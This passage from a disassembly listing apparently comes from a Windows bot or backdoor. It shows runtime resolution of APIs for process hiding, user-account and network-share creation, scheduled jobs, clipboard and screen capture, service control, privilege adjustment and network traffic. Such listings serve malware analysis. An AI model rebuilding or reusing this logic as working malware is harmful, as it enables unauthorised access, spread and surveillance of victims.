		mov	dword_42D930, 1


loc_4046F8:				; CODE XREF: sub_4045F0+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_42D8AC, eax
		jz	short loc_404725
		push	1
		push	ebx
		call	eax	; GetDiskFreeSpaceExA
		jmp	short loc_404725
; ---------------------------------------------------------------------------


loc_404710:				; CODE XREF: sub_4045F0+1Dj
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D934, eax
		mov	dword_42D930, 1


loc_404725:				; CODE XREF: sub_4045F0+117j
					; sub_4045F0+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_41808C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4047E0
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_42D8D0, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_42D884, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_42D81C, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_42D924, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_42D848, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_42D868, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_42D8C8, eax
		call	esi	; GetProcAddress
		cmp	dword_42D8D0, ebx
		mov	dword_42D7D0, eax
		jz	short loc_4047EB
		cmp	dword_42D884, ebx
		jz	short loc_4047EB
		cmp	dword_42D81C, ebx
		jz	short loc_4047EB
		cmp	dword_42D924, ebx
		jz	short loc_4047EB
		cmp	dword_42D848, ebx
		jz	short loc_4047EB
		cmp	dword_42D868, ebx
		jz	short loc_4047EB
		cmp	dword_42D8C8, ebx
		jz	short loc_4047EB
		cmp	eax, ebx
		jnz	short loc_4047F5
		jmp	short loc_4047EB
; ---------------------------------------------------------------------------


loc_4047E0:				; CODE XREF: sub_4045F0+144j
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D93C, eax


loc_4047EB:				; CODE XREF: sub_4045F0+1B8j
					; sub_4045F0+1C0j ...
		mov	dword_42D938, 1


loc_4047F5:				; CODE XREF: sub_4045F0+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404990
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_42D8E4, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_42D830, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_42D89C, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_42D794, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_42D7F0, eax
		call	esi	; GetProcAddress
		cmp	dword_42D8E4, ebx
		mov	dword_42D854, eax
		jz	short loc_404880
		cmp	dword_42D830, ebx
		jz	short loc_404880
		cmp	dword_42D89C, ebx
		jz	short loc_404880
		cmp	dword_42D794, ebx
		jz	short loc_404880
		cmp	dword_42D7F0, ebx
		jz	short loc_404880
		cmp	eax, ebx
		jnz	short loc_40488A


loc_404880:				; CODE XREF: sub_4045F0+26Aj
					; sub_4045F0+272j ...
		mov	dword_42D940, 1


loc_40488A:				; CODE XREF: sub_4045F0+28Ej
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_42D85C, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_42D838, eax
		call	esi	; GetProcAddress
		cmp	dword_42D85C, ebx
		mov	dword_42D8E0, eax
		jz	short loc_4048C5
		cmp	dword_42D838, ebx
		jz	short loc_4048C5
		cmp	eax, ebx
		jnz	short loc_4048CF


loc_4048C5:				; CODE XREF: sub_4045F0+2C7j
					; sub_4045F0+2CFj
		mov	dword_42D940, 1


loc_4048CF:				; CODE XREF: sub_4045F0+2D3j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_42D86C, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_42D770, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_42D778, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_42D7D8, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_42D7DC, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_42D78C, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_42D83C, eax
		call	esi	; GetProcAddress
		cmp	dword_42D86C, ebx
		mov	dword_42D77C, eax
		jz	short loc_404973
		cmp	dword_42D770, ebx
		jz	short loc_404973
		cmp	dword_42D778, ebx
		jz	short loc_404973
		cmp	dword_42D7D8, ebx
		jz	short loc_404973
		cmp	dword_42D7DC, ebx
		jz	short loc_404973
		cmp	dword_42D78C, ebx
		jz	short loc_404973
		cmp	dword_42D83C, ebx
		jz	short loc_404973
		cmp	eax, ebx
		jnz	short loc_40497D


loc_404973:				; CODE XREF: sub_4045F0+34Dj
					; sub_4045F0+355j ...
		mov	dword_42D940, 1


loc_40497D:				; CODE XREF: sub_4045F0+381j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_42D774, eax
		jnz	short loc_4049A5
		jmp	short loc_40499B
; ---------------------------------------------------------------------------


loc_404990:				; CODE XREF: sub_4045F0+210j
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D944, eax


loc_40499B:				; CODE XREF: sub_4045F0+39Ej
		mov	dword_42D940, 1


loc_4049A5:				; CODE XREF: sub_4045F0+39Cj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404A71
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_42D864, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_42D8B8, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_42D8C0, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_42D880, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_42D7B8, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_42D768, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_42D8BC, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_42D754, eax
		call	esi	; GetProcAddress
		cmp	dword_42D864, ebx
		mov	dword_42D7E8, eax
		jz	short loc_404A7C
		cmp	dword_42D8B8, ebx
		jz	short loc_404A7C
		cmp	dword_42D8C0, ebx
		jz	short loc_404A7C
		cmp	dword_42D880, ebx
		jz	short loc_404A7C
		cmp	dword_42D7B8, ebx
		jz	short loc_404A7C
		cmp	dword_42D768, ebx
		jz	short loc_404A7C
		cmp	dword_42D8BC, ebx
		jz	short loc_404A7C
		cmp	dword_42D754, ebx
		jz	short loc_404A7C
		cmp	eax, ebx
		jnz	short loc_404A86
		jmp	short loc_404A7C
; ---------------------------------------------------------------------------


loc_404A71:				; CODE XREF: sub_4045F0+3C0j
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D94C, eax


loc_404A7C:				; CODE XREF: sub_4045F0+441j
					; sub_4045F0+449j ...
		mov	dword_42D948, 1


loc_404A86:				; CODE XREF: sub_4045F0+47Dj
		mov	ebp, dword_41808C
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404D42
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_42D7FC, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_42D918, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_42D7A4, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_42D780, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_42D828, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_42D814, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_42D7E4, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_42D8F4, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_42D910, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_42D824, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_42D900, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_42D8B4, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_42D878, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_42D874, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_42D7C4, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_42D7BC, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_42D8C4, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_42D8D8, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_42D890, eax
		call	esi	; GetProcAddress
		mov	dword_42D850, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_42D8A4, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_42D860, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_42D8A0, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_42D908, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_42D858, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_42D820, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_42D88C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_42D8F8, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_42D834, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_42D7E0, eax
		call	esi	; GetProcAddress
		cmp	dword_42D7FC, ebx
		mov	dword_42D90C, eax
		jz	loc_404D4D
		cmp	dword_42D918, ebx
		jz	loc_404D4D
		cmp	dword_42D7A4, ebx
		jz	loc_404D4D
		cmp	dword_42D828, ebx
		jz	loc_404D4D
		cmp	dword_42D814, ebx
		jz	loc_404D4D
		cmp	dword_42D7E4, ebx
		jz	loc_404D4D
		cmp	dword_42D8F4, ebx
		jz	loc_404D4D
		cmp	dword_42D910, ebx
		jz	loc_404D4D
		cmp	dword_42D824, ebx
		jz	loc_404D4D
		cmp	dword_42D900, ebx
		jz	loc_404D4D
		cmp	dword_42D8B4, ebx
		jz	loc_404D4D
		cmp	dword_42D878, ebx
		jz	loc_404D4D
		cmp	dword_42D874, ebx
		jz	loc_404D4D
		cmp	dword_42D7C4, ebx
		jz	short loc_404D4D
		cmp	dword_42D8C4, ebx
		jz	short loc_404D4D
		cmp	dword_42D8D8, ebx
		jz	short loc_404D4D
		cmp	dword_42D890, ebx
		jz	short loc_404D4D
		cmp	dword_42D850, ebx
		jz	short loc_404D4D
		cmp	dword_42D8A4, ebx
		jz	short loc_404D4D
		cmp	dword_42D860, ebx
		jz	short loc_404D4D
		cmp	dword_42D8A0, ebx
		jz	short loc_404D4D
		cmp	dword_42D908, ebx
		jz	short loc_404D4D
		cmp	dword_42D858, ebx
		jz	short loc_404D4D
		cmp	dword_42D820, ebx
		jz	short loc_404D4D
		cmp	dword_42D88C, ebx
		jz	short loc_404D4D
		cmp	dword_42D8F8, ebx
		jz	short loc_404D4D
		cmp	dword_42D834, ebx
		jz	short loc_404D4D
		cmp	eax, ebx
		jnz	short loc_404D57
		jmp	short loc_404D4D
; ---------------------------------------------------------------------------


loc_404D42:				; CODE XREF: sub_4045F0+4A7j
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D954, eax


loc_404D4D:				; CODE XREF: sub_4045F0+646j
					; sub_4045F0+652j ...
		mov	dword_42D950, 1


loc_404D57:				; CODE XREF: sub_4045F0+74Ej
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404E5C
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_42D7CC, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_42D75C, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_42D844, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_42D800, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_42D84C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_42D818, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_42D798, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_42D790, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_42D7A0, eax
		call	esi	; GetProcAddress
		cmp	dword_42D7CC, ebx
		mov	ecx, dword_42D818
		mov	dword_42D8A8, eax
		jz	short loc_404E38
		cmp	dword_42D75C, ebx
		jz	short loc_404E38
		cmp	dword_42D844, ebx
		jz	short loc_404E38
		cmp	dword_42D800, ebx
		jz	short loc_404E38
		cmp	dword_42D84C, ebx
		jz	short loc_404E38
		cmp	ecx, ebx
		jz	short loc_404E38
		cmp	dword_42D798, ebx
		jz	short loc_404E38
		cmp	dword_42D790, ebx
		jz	short loc_404E38
		cmp	dword_42D7A0, ebx
		jz	short loc_404E38
		cmp	eax, ebx
		jnz	short loc_404E42


loc_404E38:				; CODE XREF: sub_4045F0+806j
					; sub_4045F0+80Ej ...
		mov	dword_42D958, 1


loc_404E42:				; CODE XREF: sub_4045F0+846j
		cmp	ecx, ebx
		jz	short loc_404E77
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_42D82C, eax
		jnz	short loc_404E77
		jmp	short loc_404E71
; ---------------------------------------------------------------------------


loc_404E5C:				; CODE XREF: sub_4045F0+772j
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D95C, eax
		mov	dword_42D958, 1


loc_404E71:				; CODE XREF: sub_4045F0+86Aj
		mov	dword_42D82C, ebx


loc_404E77:				; CODE XREF: sub_4045F0+854j
					; sub_4045F0+868j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_404EC1
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_42D80C, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_42D928, eax
		call	esi	; GetProcAddress
		cmp	dword_42D80C, ebx
		mov	dword_42D7AC, eax
		jz	short loc_404ECC
		cmp	dword_42D928, ebx
		jz	short loc_404ECC
		cmp	eax, ebx
		jnz	short loc_404ED6
		jmp	short loc_404ECC
; ---------------------------------------------------------------------------


loc_404EC1:				; CODE XREF: sub_4045F0+892j
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D964, eax


loc_404ECC:				; CODE XREF: sub_4045F0+8C1j
					; sub_4045F0+8C9j ...
		mov	dword_42D960, 1


loc_404ED6:				; CODE XREF: sub_4045F0+8CDj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404FCC
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_42D788, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_42D764, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_42D7D4, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_42D804, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_42D904, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_42D7C0, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_42D76C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_42D760, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_42D7EC, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_42D8CC, eax
		call	esi	; GetProcAddress
		cmp	dword_42D788, ebx
		mov	dword_42D888, eax
		jz	short loc_404FD7
		cmp	dword_42D764, ebx
		jz	short loc_404FD7
		cmp	dword_42D7D4, ebx
		jz	short loc_404FD7
		cmp	dword_42D804, ebx
		jz	short loc_404FD7
		cmp	dword_42D904, ebx
		jz	short loc_404FD7
		cmp	dword_42D7C0, ebx
		jz	short loc_404FD7
		cmp	dword_42D76C, ebx
		jz	short loc_404FD7
		cmp	dword_42D760, ebx
		jz	short loc_404FD7
		cmp	dword_42D7EC, ebx
		jz	short loc_404FD7
		cmp	dword_42D8CC, ebx
		jz	short loc_404FD7
		cmp	eax, ebx
		jnz	short loc_404FE1
		jmp	short loc_404FD7
; ---------------------------------------------------------------------------


loc_404FCC:				; CODE XREF: sub_4045F0+8F1j
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D96C, eax


loc_404FD7:				; CODE XREF: sub_4045F0+98Cj
					; sub_4045F0+994j ...
		mov	dword_42D968, 1


loc_404FE1:				; CODE XREF: sub_4045F0+9D8j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_405016
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_42D7B0, eax
		call	esi	; GetProcAddress
		cmp	dword_42D7B0, ebx
		mov	dword_42D870, eax
		jz	short loc_405021
		cmp	eax, ebx
		jnz	short loc_40502B
		jmp	short loc_405021
; ---------------------------------------------------------------------------


loc_405016:				; CODE XREF: sub_4045F0+9FCj
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D974, eax


loc_405021:				; CODE XREF: sub_4045F0+A1Ej
					; sub_4045F0+A24j
		mov	dword_42D970, 1


loc_40502B:				; CODE XREF: sub_4045F0+A22j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_405060
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_42D8F0, eax
		call	esi	; GetProcAddress
		cmp	dword_42D8F0, ebx
		mov	dword_42D8EC, eax
		jz	short loc_40506B
		cmp	eax, ebx
		jnz	short loc_405075
		jmp	short loc_40506B
; ---------------------------------------------------------------------------


loc_405060:				; CODE XREF: sub_4045F0+A46j
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D97C, eax


loc_40506B:				; CODE XREF: sub_4045F0+A68j
					; sub_4045F0+A6Ej
		mov	dword_42D978, 1


loc_405075:				; CODE XREF: sub_4045F0+A6Cj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4050D4
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_42D91C, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_42D914, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_42D8DC, eax
		call	esi	; GetProcAddress
		cmp	dword_42D91C, ebx
		mov	dword_42D7C8, eax
		jz	short loc_4050DF
		cmp	dword_42D914, ebx
		jz	short loc_4050DF
		cmp	dword_42D8DC, ebx
		jz	short loc_4050DF
		cmp	eax, ebx
		jnz	short loc_4050E9
		jmp	short loc_4050DF
; ---------------------------------------------------------------------------


loc_4050D4:				; CODE XREF: sub_4045F0+A90j
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D984, eax


loc_4050DF:				; CODE XREF: sub_4045F0+ACCj
					; sub_4045F0+AD4j ...
		mov	dword_42D980, 1


loc_4050E9:				; CODE XREF: sub_4045F0+AE0j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40511E
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_42D7F8, eax
		call	esi	; GetProcAddress
		cmp	dword_42D7F8, ebx
		mov	dword_42D8E8, eax
		jz	short loc_405129
		cmp	eax, ebx
		jnz	short loc_405133
		jmp	short loc_405129
; ---------------------------------------------------------------------------


loc_40511E:				; CODE XREF: sub_4045F0+B04j
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D98C, eax


loc_405129:				; CODE XREF: sub_4045F0+B26j
					; sub_4045F0+B2Cj
		mov	dword_42D988, 1


loc_405133:				; CODE XREF: sub_4045F0+B2Aj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4051BC
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_42D8B0, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_42D8FC, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_42D840, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_42D808, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_42D894, eax
		call	esi	; GetProcAddress
		cmp	dword_42D8B0, ebx
		mov	dword_42D810, eax
		jz	short loc_4051C7
		cmp	dword_42D8FC, ebx
		jz	short loc_4051C7
		cmp	dword_42D840, ebx
		jz	short loc_4051C7
		cmp	dword_42D808, ebx
		jz	short loc_4051C7
		cmp	dword_42D894, ebx
		jz	short loc_4051C7
		cmp	eax, ebx
		jnz	short loc_4051D1
		jmp	short loc_4051C7
; ---------------------------------------------------------------------------


loc_4051BC:				; CODE XREF: sub_4045F0+B4Ej
		call	dword_418044	; RtlGetLastWin32Error
		mov	dword_42D994, eax


loc_4051C7:				; CODE XREF: sub_4045F0+BA4j
					; sub_4045F0+BACj ...
		mov	dword_42D990, 1


loc_4051D1:				; CODE XREF: sub_4045F0+BC8j
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_4045F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051D9	proc near		; CODE XREF: sub_4077FD+8FCp
					; sub_4077FD+927p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_405264
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_405264
		cmp	[ebp+arg_8], esi
		jz	short loc_405264
		cmp	byte ptr [eax],	0
		jz	short loc_405264
		push	ebx
		push	edi
		call	sub_4176F0
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40525F
		push	[ebp+arg_4]
		push	edi
		call	sub_40E4B0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405258
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_40C720
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_40CBC0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_40C5A0
		push	[ebp+arg_4]
		call	sub_40CBC0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_40E3D0
		push	ebx
		push	edi
		call	sub_40E3C0
		add	esp, 30h
		mov	esi, edi


loc_405258:				; CODE XREF: sub_4051D9+3Cj
		push	ebx
		call	sub_40CD81
		pop	ecx


loc_40525F:				; CODE XREF: sub_4051D9+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_405266
; ---------------------------------------------------------------------------


loc_405264:				; CODE XREF: sub_4051D9+Cj
					; sub_4051D9+13j ...
		xor	eax, eax


loc_405266:				; CODE XREF: sub_4051D9+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4051D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40526A	proc near		; CODE XREF: sub_407681+E9p

var_960		= dword	ptr -960h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 960h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	960h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_40CC40
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_40CBC0
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_4052A2
		or	eax, 0FFFFFFFFh
		jmp	short loc_405309
; ---------------------------------------------------------------------------


loc_4052A2:				; CODE XREF: sub_40526A+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_960], esi
		jle	short loc_4052C3


loc_4052AE:				; CODE XREF: sub_40526A+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4052BB
		cmp	dl, 0Dh
		jnz	short loc_4052BE


loc_4052BB:				; CODE XREF: sub_40526A+4Aj
		mov	[ecx+esi], bl


loc_4052BE:				; CODE XREF: sub_40526A+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4052AE


